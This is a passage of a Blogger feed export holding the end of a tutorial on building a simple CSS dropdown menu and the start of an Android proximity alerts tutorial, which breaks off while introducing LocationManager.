&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;18&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;19&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;20&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;21&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;22&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;23&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;24&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;25&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;26&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;padding: .75pt .75pt .75pt .75pt;&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;lt;ul id=&quot;menu&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;li&amp;gt;&amp;lt;a
  href=&quot;#&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;li&amp;gt;&amp;lt;a
  href=&quot;#&quot;&amp;gt;About Us&amp;lt;/a&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;ul&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;li&amp;gt;&amp;lt;a
  href=&quot;#&quot;&amp;gt;The Team&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;li&amp;gt;&amp;lt;a
  href=&quot;#&quot;&amp;gt;History&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;li&amp;gt;&amp;lt;a
  href=&quot;#&quot;&amp;gt;Vision&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/ul&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;li&amp;gt;&amp;lt;a
  href=&quot;#&quot;&amp;gt;Products&amp;lt;/a&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;ul&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;li&amp;gt;&amp;lt;a
  href=&quot;#&quot;&amp;gt;Cozy Couch&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;li&amp;gt;&amp;lt;a
  href=&quot;#&quot;&amp;gt;Great Table&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;li&amp;gt;&amp;lt;a
  href=&quot;#&quot;&amp;gt;Small Chair&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;li&amp;gt;&amp;lt;a
  href=&quot;#&quot;&amp;gt;Shiny Shelf&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;li&amp;gt;&amp;lt;a
  href=&quot;#&quot;&amp;gt;Invisible Nothing&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/ul&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;li&amp;gt;&amp;lt;a
  href=&quot;#&quot;&amp;gt;Contact&amp;lt;/a&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;ul&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;li&amp;gt;&amp;lt;a
  href=&quot;#&quot;&amp;gt;Online&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;li&amp;gt;&amp;lt;a
  href=&quot;#&quot;&amp;gt;Right Here&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;li&amp;gt;&amp;lt;a
  href=&quot;#&quot;&amp;gt;Somewhere Else&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/ul&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;lt;/ul&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;That is it, very simple and easy to
customize! Click below for a live demo…&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&lt;a href=&quot;http://www.handy-html.com/wp-content/uploads/2012/02/create-a-simple-css-dropdown-menu.html&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;You can see a LIVE PREVIEW here&lt;/span&gt;&lt;/a&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/6718863337505967220/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/03/create-simple-css-dropdown-menu_31.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/6718863337505967220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/6718863337505967220'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/03/create-simple-css-dropdown-menu_31.html' title='Create a simple CSS dropdown menu'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-4048998654794892337</id><published>2013-02-22T22:02:00.001+05:30</published><updated>2013-02-22T22:02:15.310+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Mobile Tips"/><title type='text'>How To Make Android Proximity Alerts</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Smart-phones
 are taking over the mobile world, this is a fact. Since GPS devices are
 usually found embedded in those phones, there is already a notable rise
 in applications that take advantage of the offered geographical 
positioning functionality. A type of those applications is the one of &lt;a href=&quot;http://en.wikipedia.org/wiki/Location-based_service&quot;&gt;Location Based Services&lt;/a&gt;,
 where the service exploits knowledge about where the mobile user is 
globally positioned at. Pretty common are also the applications that use
 &lt;a href=&quot;http://en.wikipedia.org/wiki/Geocoding&quot;&gt;geocoding&lt;/a&gt; (finding associated geographic coordinates from geographic data, such as a street address) and &lt;a href=&quot;http://en.wikipedia.org/wiki/GIS#Reverse_geocoding&quot;&gt;reverse geocoding&lt;/a&gt;
 (providing information based on given coordinates). One other aspect of
 that type of applications is the creation of proximity alerts. As their
 name suggests, these are alerts that get generated when the user is 
physically located near a specific &lt;a href=&quot;http://en.wikipedia.org/wiki/Point_of_interest&quot;&gt;Point Of Interest (POI)&lt;/a&gt;.
 Proximity alert are going to be a “hot” thing the following years, 
since a lot of applications are going to make use of them, with the most
 prominent example being targeted advertising. In this tutorial I am 
going to show you how to take advantage of Android’s built-in proximity 
alert capabilities.&lt;br /&gt;
Before we begin, it would be helpful to have 
read introductory articles about location based application and/or 
geocoding. You might want to take a look at some previous tutorials of 
mine, such as &lt;a href=&quot;http://www.javacodegeeks.com/2010/09/android-location-based-services.html&quot;&gt;“Android Location Based Services Application – GPS location”&lt;/a&gt; and &lt;a href=&quot;http://www.javacodegeeks.com/2010/09/android-reverse-geocoding-yahoo-api.html&quot;&gt;“Android Reverse Geocoding with Yahoo API – PlaceFinder”&lt;/a&gt;. One other thing to note is that this tutorial was inspired by a very cool tutorial named &lt;a href=&quot;http://blog.brianbuikema.com/2010/07/part-1-developing-proximity-alerts-for-mobile-applications-using-the-android-platform/&quot;&gt;“Developing Proximity Alerts for Mobile Applications using the Android Platform”&lt;/a&gt;.
 This is a four part tutorial, which gets a little complicated at some 
points and might intimidate a beginner. For that reason, I decided to 
provided a shorter and more straightforward tutorial.&lt;br /&gt;
What we will
 build is a simple application that stores the user’s coordinates for a 
point that interests him and then provide a notification when the user 
is near that point. The coordinates are retrieved on demand when the 
user is located at that point.&lt;br /&gt;
We begin by creating a new Eclipse 
project, named “AndroidProximityAlertProject” in our case. We also 
create a main activity for our application under the name 
“ProxAlertActivity”. Here is what the application’s main page will look 
like:&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSzx8uFQa93atmfWQkW5RxNjtu_d14HWe4rXfqO_q-bqkSenPibjTkz6j9zpQ4SA_QiusYcKt9Zxe2mqcNhHP8dphWJ1issfpIJP1PUsQNgIVgppSODKDECUtzs0grPGJMp8J9JlZlBW4/s1600/01-main-ui.png&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;file:///E:/Android/Android%20New/HTMLS/Android%20Proximity%20Alerts%20Tutorial%20_%20Java%20Code%20Geeks_files/01-main-ui.png&quot; style=&quot;cursor: pointer; height: 279px; margin: 0px auto 10px; text-align: center; width: 320px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
Here is the declaration file for the main UI layout, named “main.xml”:&lt;br /&gt;
&lt;pre class=&quot;brush:xml&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;

&amp;lt;LinearLayout xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;
    android:orientation=&quot;vertical&quot;
    android:layout_width=&quot;fill_parent&quot;
    android:layout_height=&quot;fill_parent&quot;
&amp;gt;

    &amp;lt;EditText 
        android:id=&quot;@+id/point_latitude&quot; 
        android:layout_width=&quot;fill_parent&quot; 
        android:layout_height=&quot;wrap_content&quot;
        android:layout_marginLeft=&quot;25dip&quot;
        android:layout_marginRight=&quot;25dip&quot;
    /&amp;gt;
    
    &amp;lt;EditText 
        android:id=&quot;@+id/point_longitude&quot; 
        android:layout_width=&quot;fill_parent&quot; 
        android:layout_height=&quot;wrap_content&quot;
        android:layout_marginLeft=&quot;25dip&quot;
        android:layout_marginRight=&quot;25dip&quot;
    /&amp;gt;
        
    &amp;lt;Button 
        android:id=&quot;@+id/find_coordinates_button&quot; 
        android:text=&quot;Find Coordinates&quot;
        android:layout_width=&quot;wrap_content&quot; 
        android:layout_height=&quot;wrap_content&quot; 
    /&amp;gt;
    
    &amp;lt;Button 
        android:id=&quot;@+id/save_point_button&quot; 
        android:text=&quot;Save Point&quot;
        android:layout_width=&quot;wrap_content&quot; 
        android:layout_height=&quot;wrap_content&quot; 
    /&amp;gt;
    
&amp;lt;/LinearLayout&amp;gt;
&lt;/pre&gt;
Let’s now get started with the interesting stuff. First of all, we need a reference to the &lt;a href=&quot;http://developer.android.com/reference/android/location/LocationManager.html&quot;&gt;LocationManager&lt;/a&gt; class, which provides access to the system location services. This is done via a call to the &lt;a href=&quot;http://developer.android.com/reference/android/content/Context.html#getSystemService%28java.lang.String%29&quot;&gt;getSystemService&lt;/a&gt; method of our activity. We can then use the &lt;a href=&quot;http://developer.android.com/reference/android/location/LocationManager.html#requestLocationUpdates%28java.lang.String,%20long,%20float,%20android.location.LocationListener%29&quot;&gt;requestLocationUpdates&lt;/a&gt;
 method in order to request notifications when the user’s location 
changes. This is not strictly required when developing proximity alerts,
